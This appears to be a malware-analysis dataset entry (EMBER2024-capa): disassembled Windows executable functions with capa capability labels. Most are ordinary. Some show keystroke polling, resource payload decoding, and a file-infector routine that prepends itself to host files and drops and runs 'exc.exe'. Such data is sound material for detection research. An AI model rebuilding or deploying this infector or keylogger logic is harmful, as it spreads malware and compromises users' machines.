joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403297
Capabilities:
Get common file path

Disassembly:
push ebx
xor eax, eax
push eax
push eax
push eax
push 0x400
call fcn.00407fb0
mov dword [esp], eax
push dword [0x40e7a8]
push dword [0x40e7a8]
call fcn.0040812d
lea eax, [esp + 8]
push eax
call fcn.0040aba0
push dword [esp]
push 0
push 0x40d01e
push dword [esp + 0x10]
call sub.KERNEL32.dll_GetTempFileNameA
push dword [0x40e7a8]
push dword [0x40e7a8]
push dword [esp + 8]
call fcn.00407ec0
lea eax, [0x40e4b0]
push eax
call fcn.0040aba0
push dword [esp]
call fcn.00407fd0
push dword [0x40e4b0]
call fcn.004081bc
push dword [0x40e4b0]
call fcn.004081ca
push dword [0x40e7a8]
push dword [0x40e7a8]
call fcn.00408065
lea eax, [0x40e44c]
push eax
call fcn.0040aba0
push dword [esp + 0x14]
pop eax
call fcn.00407ff0
push eax
xor ebx, ebx
cmp ebx, dword [esp]
jne 0x403370
mov edx, dword [0x40e4b0]
push dword [0x40e7a8]
call fcn.0040ac50
lea eax, [0x40e44c]
push eax
call fcn.0040aba0
mov dword [esp + 0xc], 2
jmp 0x403382
mov ebx, 1
cmp ebx, dword [esp]
jne 0x403382
mov dword [esp + 0xc], 1
pop eax
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 8]
push ebx
pop eax
call fcn.00407ff0
mov dword [0x40e47c], eax
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 8]
inc ebx
push ebx
pop eax
call fcn.00407ff0
mov dword [0x40e3e0], eax
mov eax, 1
jmp 0x4033b5
push dword [esp + 4]
call fcn.0040acb0
add esp, 0xc
pop ebx
ret 4
Function at 0x4037f1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
mov edx, dword [esp + 0x24]
lea ecx, [esp]
call fcn.00404060
push 0xa
push dword [esp + 4]
push dword [esp + 0x28]
call sub.KERNEL32.dll_FindResourceA
mov dword [esp + 4], eax
cmp dword [esp + 4], 0
je 0x403847
push dword [esp + 4]
push dword [esp + 0x24]
call sub.KERNEL32.dll_LoadResource
mov dword [0x40e3e4], eax
push dword [esp + 4]
push dword [esp + 0x24]
call sub.KERNEL32.dll_SizeofResource
mov dword [0x40e3f8], eax
push dword [esp]
mov edx, 0x40d06c
pop ecx
call fcn.0040ac20
je 0x4038be
push dword [0x40e3f8]
call fcn.00407fb0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov ebx, dword [0x40e3f8]
dec ebx
cmp ebx, dword [esp + 0xc]
jl 0x4038b4
mov ebx, dword [0x40e3e4]
add ebx, dword [esp + 0xc]
push ebx
pop eax
call fcn.00407ff0
mov dword [esp + 0x10], eax
mov ebx, dword [esp + 0x10]
imul ebx, ebx, 0xffffffff
mov dword [esp + 0x14], ebx
push dword [esp + 0x14]
mov ebx, dword [esp + 0xc]
add ebx, dword [esp + 0x10]
push ebx
pop eax
call fcn.00408000
inc dword [esp + 0xc]
jno 0x40386e
push dword [esp + 8]
pop eax
mov dword [0x40e3e4], eax
mov eax, dword [esp + 4]
jmp 0x4038c6
push dword [esp]
call fcn.0040acb0
add esp, 0x18
pop ebx
ret 8
Function at 0x404af1
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
xor ebx, ebx
push esi
push edi
cmp dword [esp + 0x10], ebx
je 0x404b40
push dword [esp + 0x10]
push 0x404a6f
call dword [sym.imp.USER32.DLL_EnumWindows]
mov esi, dword [0x40e4dc]
cmp esi, ebx
je 0x404b94
mov edi, dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [esi + 8], eax
jne 0x404b38
cmp byte [esi + 0x10], bl
je 0x404b38
push 3
push ebx
push ebx
push ebx
push ebx
push 0xfffffffffffffffe
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_SetWindowPos]
mov esi, edi
cmp edi, ebx
jne 0x404b15
jmp 0x404b94
mov esi, dword [0x40e4dc]
cmp esi, ebx
je 0x404b94
push ebp
mov ebp, dword [esi]
lea edi, [esi + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [edi], eax
jne 0x404b8d
cmp byte [esi + 0x11], bl
je 0x404b6a
push 1
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_EnableWindow]
cmp byte [esi + 0x10], bl
je 0x404b80
push 3
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_SetWindowPos]
push edi
push 0x40e4dc
call fcn.0040a88d
pop ecx
pop ecx
mov esi, ebp
cmp ebp, ebx
jne 0x404b4b
pop ebp
pop edi
pop esi
pop ebx
ret 4
Function at 0x405fb4
Capabilities:
Get graphical window text

Disassembly:
push edi
push dword [esp + 8]
push dword [0x40e818]
call fcn.0040a1ba
mov edi, eax
test edi, edi
je 0x406016
mov eax, dword [edi + 4]
mov eax, dword [eax + 0x18]
test eax, eax
je 0x405fdd
push dword [esp + 0xc]
push edi
call eax
jmp 0x406016
push ebx
push esi
push dword [edi]
call dword [sym.imp.USER32.DLL_GetWindowTextLengthA]
push dword [esp + 0x14]
mov esi, eax
push esi
call fcn.0040ade0
mov ebx, eax
lea eax, [esi + 1]
push eax
push ebx
mov byte [ebx], 0
push dword [edi]
call dword [sym.imp.USER32.DLL_GetWindowTextA]
push ebx
call sub.MSVCRT.dll_strlen
pop ecx
sub esi, eax
push esi
call fcn.0040af10
pop esi
pop ebx
pop edi
ret 8

Function at 0x40633f
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x130
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x1c]
push eax
mov ebx, 0xc8
mov dword [ebp - 0x1c], 0x94
call edi
test eax, eax
je 0x406428
mov eax, dword [ebp - 0xc]
dec eax
je 0x40640b
dec eax
jne 0x406428
lea eax, [ebp - 0xb8]
push eax
xor esi, esi
mov dword [ebp - 0xb8], 0x9c
call edi
test eax, eax
je 0x40639e
cmp byte [ebp - 0x1e], 1
jne 0x40639e
inc esi
mov eax, dword [ebp - 0x18]
sub eax, 3
je 0x406407
dec eax
je 0x406403
dec eax
je 0x4063e1
dec eax
jne 0x406428
mov eax, dword [ebp - 0x14]
sub eax, 0
je 0x4063d5
dec eax
je 0x4063c9
dec eax
jne 0x406428
neg esi
sbb esi, esi
and esi, 0xfffffffb
lea ebx, [esi + 0x5f]
jmp 0x406428
neg esi
sbb esi, esi
and esi, 0xfffffffb
lea ebx, [esi + 0x55]
jmp 0x406428
neg esi
sbb esi, esi
and esi, 0xfffffffb
lea ebx, [esi + 0x4b]
jmp 0x406428
mov eax, dword [ebp - 0x14]
sub eax, 0
je 0x4063ff
dec eax
je 0x4063fb
dec eax
jne 0x406428
neg esi
sbb esi, esi
and esi, 0xfffffffb
lea ebx, [esi + 0x41]
jmp 0x406428
push 0x3c
jmp 0x406427
push 0x32
jmp 0x406427
push 0x14
jmp 0x406427
push 5
jmp 0x406427
cmp dword [ebp - 0x14], 0
je 0x406425
cmp dword [ebp - 0x14], 0xa
je 0x406421
cmp dword [ebp - 0x14], 0x5a
jne 0x406428
push 0x28
jmp 0x406427
push 0x1e
jmp 0x406427
push 0xa
pop ebx
pop edi
pop esi
mov eax, ebx
pop ebx
add ebp, 0x78
leave
ret
Function at 0x407391
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0xc
push ebx
push esi
push edi
call dword [sym.imp.USER32.DLL_GetFocus]
mov esi, dword [sym.imp.USER32.DLL_GetKeyState]
mov edi, eax
mov bl, pe_nt_image_headers32
test edi, edi
je 0x40740d
push 9
call esi
test bl, al
je 0x40740d
push 0x11
call esi
test bl, al
jne 0x40740d
push 0x10
call esi
test bl, al
jne 0x40740d
push 0x12
call esi
test bl, al
jne 0x40740d
push 5
lea eax, [esp + 0x14]
push eax
push edi
call dword [sym.imp.USER32.DLL_GetClassNameA]
push 4
lea eax, [esp + 0x14]
push str.Rich
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
jne 0x40740d
push eax
push eax
push 0x44e
push edi
call dword [sym.imp.USER32.DLL_SendMessageA]
test eax, 0x800
jne 0x40740d
xor eax, eax
jmp 0x40748f
push ebp
mov ebp, dword [esp + 0x20]
test ebp, ebp
je 0x407436
push 0x11
call esi
test bl, al
jne 0x40742e
push 0x10
call esi
test bl, al
jne 0x40742e
push 0x12
call esi
test bl, al
je 0x407436
push 1
push ebp
call fcn.0040734a
mov esi, dword [sym.imp.USER32.DLL_GetPropA]
test edi, edi
je 0x40744c
push str.PB_Hotkey
push edi
call esi
test eax, eax
jne 0x40748c
push str.PB_WindowID
push ebp
call esi
mov esi, eax
test esi, esi
je 0x40748c
lea eax, [esp + 0x10]
push eax
push ebp
call dword [sym.imp.USER32.DLL_GetWindowThreadProcessId]
test eax, eax
je 0x40748c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [esp + 0x10], eax
jne 0x40748c
dec esi
push esi
push dword [0x40e820]
call fcn.0040a1ba
test eax, eax
je 0x40748c
mov eax, dword [eax + 8]
jmp 0x40748e
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0xc
ret 4

Function at 0x407551
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x94
push edi
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
mov dword [0x40e734], eax
cmp eax, edi
je 0x407584
push str.AlphaBlend
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40e738], eax
lea eax, [ebp - 0x1c]
push eax
mov dword [0x40e730], 1
mov dword [ebp - 0x1c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x4075c2
cmp dword [ebp - 0xc], 1
je 0x4075d3
cmp dword [ebp - 0xc], 2
jne 0x4075c2
cmp dword [ebp - 0x18], 5
jb 0x4075d3
jne 0x4075c2
cmp dword [ebp - 0x14], edi
jne 0x4075c2
mov dword [0x40e730], edi
cmp dword [0x40e730], edi
je 0x4075d9
call fcn.00407498
test eax, eax
jne 0x4075d9
mov dword [0x40e730], edi
pop edi
add ebp, 0x78
leave
ret

Function at 0x40818e
Capabilities:
Delete file
Set file attributes

Disassembly:
cmp dword [esp + 4], 0
je 0x4081b7
test byte [esp + 8], 2
je 0x4081ab
push pe_nt_image_headers32
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x4081b9
xor eax, eax
ret 8
Function at 0x4081ca
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
cmp dword [ebp + 8], 0
je 0x40823a
push 0x104
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strncpy
lea eax, [ebp - 0x108]
push eax
mov byte [ebp - 4], 0
call sub.MSVCRT.dll_strlen
add esp, 0x10
lea eax, [ebp + eax - 0x108]
jmp 0x40821c
mov dl, byte [eax - 1]
cmp dl, 0x20
je 0x40821b
cmp dl, 0x5c
je 0x40821b
cmp dl, 0x2f
jne 0x408226
dec eax
lea ecx, [ebp - 0x108]
cmp eax, ecx
ja 0x408209
mov byte [eax], 0
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x40823c
xor eax, eax
leave
ret 4

Function at 0x408310
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
xor eax, eax
mov dword [esp + 4], eax
cmp dword [esi + 0x14], eax
jne 0x408345
mov ecx, dword [esi + 8]
sub ecx, dword [esi + 0xc]
mov edx, dword [esi + 4]
push eax
lea eax, [esp + 8]
push eax
mov eax, dword [esi]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esi + 8]
mov eax, dword [esp + 4]
mov dword [esi + 0xc], ecx
pop esi
pop ecx
ret 4

Function at 0x4086f0
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0x10]
xor eax, eax
mov dword [esp + 4], eax
test esi, esi
je 0x408737
cmp byte [esi], al
je 0x408737
mov eax, dword [esp + 0xc]
mov ecx, dword [0x40e8c0]
push eax
push ecx
call fcn.0040a1ba
test eax, eax
je 0x408765
cmp dword [eax + 4], 0
mov ecx, esi
push edi
lea edi, [ecx + 1]
je 0x408740
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408725
sub ecx, edi
push ecx
push esi
push eax
call fcn.004088b0
pop edi
pop esi
pop ecx
ret 8
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408740
mov eax, dword [eax]
push 0
lea edx, [esp + 0xc]
push edx
sub ecx, edi
push ecx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret 8
mov eax, dword [esp + 4]
pop esi
pop ecx
ret 8

Function at 0x408770
Capabilities:
Write file on windows

Disassembly:
push ecx
push edi
mov edi, dword [esp + 0x10]
xor eax, eax
mov dword [esp + 4], eax
test edi, edi
je 0x4087c9
push esi
mov esi, dword [esp + 0x18]
test esi, esi
je 0x4087c8
mov eax, dword [esp + 0x10]
mov ecx, dword [0x40e8c0]
push eax
push ecx
call fcn.0040a1ba
test eax, eax
je 0x4087c4
cmp dword [eax + 4], 0
je 0x4087b2
push esi
push edi
push eax
call fcn.004088b0
pop esi
pop edi
pop ecx
ret 0xc
mov eax, dword [eax]
push 0
lea edx, [esp + 0xc]
push edx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop esi
pop edi
pop ecx
ret 0xc
Function at 0x4087d0
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0xc]
mov ecx, dword [0x40e8c0]
push esi
push eax
push ecx
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call fcn.0040a1ba
mov esi, eax
test esi, esi
je 0x408897
mov ecx, dword [esp + 0x14]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
test ecx, ecx
je 0x40884f
cmp byte [ecx], 0
je 0x40884f
cmp dword [esi + 4], 0
mov eax, ecx
push edi
lea edi, [eax + 1]
je 0x408837
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x408820
sub eax, edi
push eax
push ecx
push esi
call fcn.004088b0
mov dword [esp + 0xc], eax
jmp 0x40884e
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x408837
push 0
lea edx, [esp + 0x10]
push edx
sub eax, edi
push eax
mov eax, dword [esi]
push ecx
push eax
call ebp
pop edi
cmp dword [esi + 4], 0
je 0x408872
push 2
push 0x40c1dc
push esi
call fcn.004088b0
mov ecx, eax
mov eax, dword [esp + 8]
pop ebp
add eax, ecx
pop esi
add esp, 8
ret 8
mov edx, dword [esi]
push 0
lea ecx, [esp + 0x10]
push ecx
push 2
push 0x40c1dc
push edx
call ebp
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 8]
pop ebp
add eax, ecx
pop esi
add esp, 8
ret 8
mov eax, dword [esp + 4]
pop esi
add esp, 8
ret 8

Function at 0x4088b0
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
cmp dword [esi + 0x14], 1
push edi
mov dword [esp + 8], 0
jne 0x4088e5
mov eax, dword [esi + 0xc]
mov ecx, dword [esi]
push 1
push 0
neg eax
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esi + 8]
mov dword [esi + 0x14], 0
mov dword [esi + 0xc], edx
mov ecx, dword [esi + 0xc]
mov edi, dword [esp + 0x18]
cmp ecx, edi
jle 0x40895a
mov eax, dword [esi + 8]
add eax, dword [esi + 4]
sub eax, ecx
mov ecx, edi
dec ecx
je 0x408947
dec ecx
je 0x408932
sub ecx, 2
je 0x40891f
mov ecx, dword [esp + 0x14]
push edi
push ecx
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
mov edx, dword [esp + 0x14]
mov ecx, dword [edx]
mov dword [eax], ecx
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
mov edx, dword [esp + 0x14]
mov cx, word [edx]
mov word [eax], cx
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
mov edx, dword [esp + 0x14]
mov cl, byte [edx]
mov byte [eax], cl
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
push esi
call fcn.00408310
mov eax, dword [esi + 8]
cmp edi, eax
jl 0x408987
mov eax, dword [esp + 0x14]
mov ecx, dword [esi]
push 0
lea edx, [esp + 0xc]
push edx
push edi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret 0xc
mov ecx, dword [esi + 4]
sub ecx, dword [esi + 0xc]
mov edx, dword [esp + 0x14]
push edi
push edx
add ecx, eax
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
Function at 0x4095b0
Capabilities:
Encode data using xor
Hash data with crc32
Read file on windows

Disassembly:
sub esp, 0x14
mov eax, dword [esp + 0x18]
push ebx
push esi
or esi, 0xffffffff
xor ebx, ebx
mov dword [esp + 8], 0x80000
test eax, eax
je 0x4097be
push edi
push ebx
push pe_nt_image_headers32
push 3
push ebx
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [esp + 0x1c], edi
cmp edi, 0xffffffff
je 0x4097bd
mov eax, dword [0x40e3d8]
push ebp
push 0x80000
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebp, eax
test ebp, ebp
je 0x4097b5
cmp dword [esp + 0x30], ebx
jl 0x409631
mov eax, dword [esp + 0x2c]
jg 0x409622
test eax, eax
je 0x409631
push 0
lea ecx, [esp + 0x34]
push ecx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esp + 0x34]
add edx, 0x80000
mov dword [esp + 0x28], edx
jmp 0x409645
mov ebx, dword [esp + 0x14]
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x38]
sub dword [esp + 0x28], 0x80000
add ebx, 0x80000
and eax, ecx
mov dword [esp + 0x14], ebx
cmp eax, 0xffffffff
je 0x40967d
mov eax, ebx
cdq
cmp edx, ecx
jl 0x40967d
jg 0x409675
cmp eax, dword [esp + 0x34]
jbe 0x40967d
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x10]
push 0
lea edx, [esp + 0x1c]
push edx
push eax
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, dword [esp + 0x18]
mov eax, ebp
mov edx, ebx
cmp ebx, 8
jb 0x40977c
mov edi, ebx
shr edi, 3
jmp 0x4096b0
movzx ecx, byte [eax]
xor ecx, esi
and ecx, 0xff
mov dword [esp + 0x1c], ecx
mov ecx, esi
mov esi, dword [esp + 0x1c]
shr ecx, 8
xor ecx, dword [esi*4 + 0x40c228]
movzx esi, byte [eax + 1]
xor esi, ecx
and esi, 0xff
shr ecx, 8
xor ecx, dword [esi*4 + 0x40c228]
movzx esi, byte [eax + 2]
xor esi, ecx
and esi, 0xff
shr ecx, 8
xor ecx, dword [esi*4 + 0x40c228]
movzx esi, byte [eax + 3]
xor esi, ecx
and esi, 0xff
shr ecx, 8
xor ecx, dword [esi*4 + 0x40c228]
movzx esi, byte [eax + 4]
xor esi, ecx
and esi, 0xff
shr ecx, 8
xor ecx, dword [esi*4 + 0x40c228]
movzx esi, byte [eax + 5]
xor esi, ecx
and esi, 0xff
shr ecx, 8
xor ecx, dword [esi*4 + 0x40c228]
movzx esi, byte [eax + 6]
xor esi, ecx
and esi, 0xff
shr ecx, 8
xor ecx, dword [esi*4 + 0x40c228]
movzx esi, byte [eax + 7]
xor esi, ecx
and esi, 0xff
shr ecx, 8
xor ecx, dword [esi*4 + 0x40c228]
add eax, 8
sub edx, 8
dec edi
mov esi, ecx
jne 0x4096b0
mov edi, dword [esp + 0x20]
test edx, edx
je 0x409799
movzx ecx, byte [eax]
xor ecx, esi
and ecx, 0xff
shr esi, 8
xor esi, dword [ecx*4 + 0x40c228]
inc eax
dec edx
jne 0x409780
cmp ebx, 0x80000
je 0x409641
mov edx, dword [0x40e3d8]
push ebp
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop edi
mov eax, esi
pop esi
not eax
pop ebx
add esp, 0x14
ret 0x14

Function at 0x4097f0
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x10], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret
Function at 0x401290
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
call sym._10
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._7
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.DLL_CreateThread
sub esp, 0x18
mov dword [esp], 0xea60
call sub.KERNEL32.DLL_Sleep
sub esp, 4
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sym._9
jmp 0x4012d2
Function at 0x401320
Capabilities:
Create process on windows
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 8], 0
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0x405030
mov dword [esp], eax
call sub.KERNEL32.DLL_GetModuleFileNameA
sub esp, 0xc
mov dword [esp + 4], 0x4040be
mov dword [esp], 0x405030
call sub.msvcrt.dll_fopen
mov dword [0x405014], eax
cmp dword [0x405014], 0
jne 0x401385
mov dword [esp], 0
call sub.msvcrt.dll_exit
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [0x405014]
mov dword [esp], eax
call sub.msvcrt.dll_fseek
mov eax, dword [0x405014]
mov dword [esp], eax
call sub.msvcrt.dll_ftell
mov dword [0x40513c], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [0x405014]
mov dword [esp], eax
call sub.msvcrt.dll_fseek
mov eax, dword [0x40513c]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [0x405134], eax
mov eax, dword [0x405014]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov eax, dword [0x40513c]
mov dword [esp + 4], eax
mov eax, dword [0x405134]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov eax, dword [0x405014]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
cmp eax, dword [0x40513c]
jge 0x40146e
mov eax, dword [0x405134]
add eax, dword [ebp - 4]
cmp byte [eax], 0x2a
jne 0x401467
mov eax, dword [ebp - 4]
add eax, dword [0x405134]
inc eax
cmp byte [eax], 0x2a
jne 0x401467
mov eax, dword [ebp - 4]
add eax, dword [0x405134]
add eax, 2
cmp byte [eax], 0x2a
jne 0x401467
mov eax, dword [ebp - 4]
add eax, dword [0x405134]
add eax, 3
mov dword [ebp - 8], eax
jmp 0x40146e
lea eax, [ebp - 4]
inc dword [eax]
jmp 0x40141e
cmp dword [ebp - 8], 0
je 0x401514
mov dword [esp + 4], 0x4040c1
mov dword [esp], str.exc.exe
call sub.msvcrt.dll_fopen
mov dword [0x405010], eax
cmp dword [0x405010], 0
jne 0x4014a3
mov dword [ebp - 0xc], 0
jmp 0x40151b
mov eax, dword [0x405010]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov edx, dword [ebp - 4]
mov eax, dword [0x40513c]
sub eax, edx
add eax, 3
mov dword [esp + 4], eax
mov eax, dword [ebp - 8]
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [0x405010]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.exc.exe
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x401520
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov byte [ebp - 0x18], 0x2a
mov byte [ebp - 0x17], 0x2a
mov byte [ebp - 0x16], 0x2a
mov dword [esp + 4], 0x4040be
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [0x405014], eax
cmp dword [0x405014], 0
jne 0x40155f
mov dword [ebp - 0x1c], 0
jmp 0x4016bd
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [0x405014]
mov dword [esp], eax
call sub.msvcrt.dll_fseek
mov eax, dword [0x405014]
mov dword [esp], eax
call sub.msvcrt.dll_ftell
mov dword [0x405140], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [0x405014]
mov dword [esp], eax
call sub.msvcrt.dll_fseek
mov eax, dword [0x405140]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [0x405138], eax
mov eax, dword [0x405014]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov eax, dword [0x405140]
mov dword [esp + 4], eax
mov eax, dword [0x405138]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov eax, dword [0x405014]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov dword [esp + 4], 0x4040c1
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [0x405010], eax
cmp dword [0x405010], 0
jne 0x40162b
mov eax, dword [0x405138]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0x1c], 0
jmp 0x4016bd
mov eax, dword [0x405010]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0x6e6e
mov eax, dword [0x405134]
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [0x405010]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 3
lea eax, [ebp - 0x18]
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [0x405010]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov eax, dword [0x405140]
mov dword [esp + 4], eax
mov eax, dword [0x405138]
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [0x405010]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [0x405138]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
leave
ret